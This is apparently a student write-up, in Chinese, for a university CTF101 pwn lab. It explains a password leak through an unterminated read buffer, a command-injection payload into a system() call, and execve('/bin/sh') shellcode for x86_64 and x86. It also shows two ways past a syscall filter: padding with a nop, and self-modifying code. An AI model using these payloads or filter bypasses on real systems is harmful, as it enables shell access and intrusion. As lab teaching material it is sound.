AAA CTF101 安全攻防实践短学期 Pwn Lab 1

实验指导

仅供参考。

Task 1

1
2
3
4
5
6
char password[BUFFER_SIZE]; // our input
char password_verify[BUFFER_SIZE]; // actual password

read(STDIN_FILENO, password, BUFFER_SIZE);

printf("you input password as %s (len %d)\n", password, strlen(password));

程序将正确的密码直接存在 password_verify 中。直接用 read() 读输入导致字符串不会正常以 0 结束。如果输入长度正好为 BUFFER_SIZE 就会在输出 password 时连带输出 password_verify,其中存有正确的密码。对于 useradmin 都可以用相同的方式获取密码,实现 getflag / getshell。

Task 2

分析可知

1
2
3
4
5
6
puts("input file name");
scanf("%32s", filename);
puts("input file data");
read(0, filedata, 0x80);
snprintf(cmd, 0x100, "echo -n \"%s\" > datafolder/%s", filedata, filename);
system(cmd);

既然是 snprintf() + system(),我们就可以构造 payload 结束字符串。"; sh #

Task 3

Delegate 代码:

1
2
3
mov eax, edi
<op> eax, esi
ret

其中 <op>add sub and or xor

Shellcode 分析:

1
2
3
4
5
6
7
8
9
10
11
12
13
/* execve(path='/bin/sh', argv=0, envp=0) */
/* push b'/bin/sh\x00' */
mov rax, 0x68732f6e69622f # '\x00hs/nib/'
# 小端序,'/' 是 LSB
push rax # 字符串压入栈
# rsp 指向 '/bin/sh\x00'
mov rdi, rsp # rdi = rsp 第一个参数
xor rsi, rsi # rsi = 0 第二个参数
xor rdx, rdx # rdx = 0 第三个参数
/* call execve() */
push SYS_execve
pop rax # rax = SYS_execve
syscall # rax(rdi, rsi, rdx)

Task 4

Task 3 相同,只不过把 x86_64 换成 x86。

1
2
3
4
5
6
7
8
9
10
11
12
/* execve(path='/bin/sh', argv=0, envp=0) */
/* push b'/bin/sh\x00' */
push 0x68732f # '\x00hs/'
push 0x6e69622f # 'nib/'
# esp 指向 '/bin/sh\x00'
mov ebx, esp # ebx = esp,int 0x80 的第一个参数
xor ecx, ecx # ecx = 0,int 0x80 的第二个参数
xor edx, edx # edx = 0,int 0x80 的第三个参数
/* call execve() */
push SYS_execve /* 0xb */
pop eax # eax = SYS_execve
int 0x80
1
2
3
4
5
6
           3 2 1 0
+--------------+
esp | n i b / | ebx
+--------------+
esp+4 | \0 h s / |
+--------------+

根据 What do you call the calling convention behind int 0x80?int 0x80 的传参方式为 ebx ecx edx esi edi ebp

Bonus

逃课

看似是过滤了 syscall,实际上只有当 syscall 落在偶数位置上时才会被检测到。那么只要在最前面加一个 nopsyscall 落在奇数位置上就可以 bypass 了。

1
r.sendlineafter(b'ADD', pwn.asm('nop\n' + pwn.shellcraft.sh()))

预期

1
2
#define MAP_ADDR (0x10000)
address = mmap(MAP_ADDR, size, PROT_EXEC | PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1, 0);

可以知道 shellcode 所在的地址是已知的而且权限为 rwx。那么就可以在运行时动态修改机器码。大概像这样:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
pwn.asm("""
/* execve(path='/bin/sh', argv=0, envp=0) */
/* push b'/bin/sh\x00' */
inc word ptr [.syscall]
mov rax, 0x68732f6e69622f
push rax
mov rdi, rsp
xor rsi, rsi
xor edx, edx /* 0 */
/* call execve() */
push SYS_execve /* 0x3b */
pop rax
.syscall: .short 0x050e
""", vma=0x10000)

运行 inc 语句后位于 .syscall 处的 0x50e 变为 0x50f,即 syscall


AAA CTF101 安全攻防实践短学期 Pwn Lab 1
https://heap.45gfg9.net/t/ZJU/2023-CTF101/92424085a6ac/
作者
45gfg9
发布于
2023-07-11
许可协议